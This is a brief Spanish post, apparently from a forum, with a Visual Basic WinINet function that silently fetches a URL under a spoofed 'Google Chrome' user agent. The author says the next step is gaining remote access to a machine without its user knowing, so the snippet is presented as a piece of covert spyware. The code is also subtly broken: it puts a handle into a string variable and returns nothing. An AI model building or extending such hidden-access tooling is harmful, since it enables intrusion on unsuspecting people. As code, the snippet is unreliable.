ya se logró abrir el navegador sin conocer el usuario remoto
Ahora sólo falta tener acceso remoto sin que el usuario sepa
Public Function OpenURL(hURL As String, Optional hUserAgent As String = "Google Chrome") As String ' abrir url escondida para web
Dim hInternet As Long
hInternet = InternetOpen(hUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
If hInternet <> 0 Then
hURL = InternetOpenUrl(hInternet, hURL, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
End If
If hInternet <> 0 Then Call InternetCloseHandle(hInternet)
If hURL <> 0 Then Call InternetCloseHandle(hURL)
End Function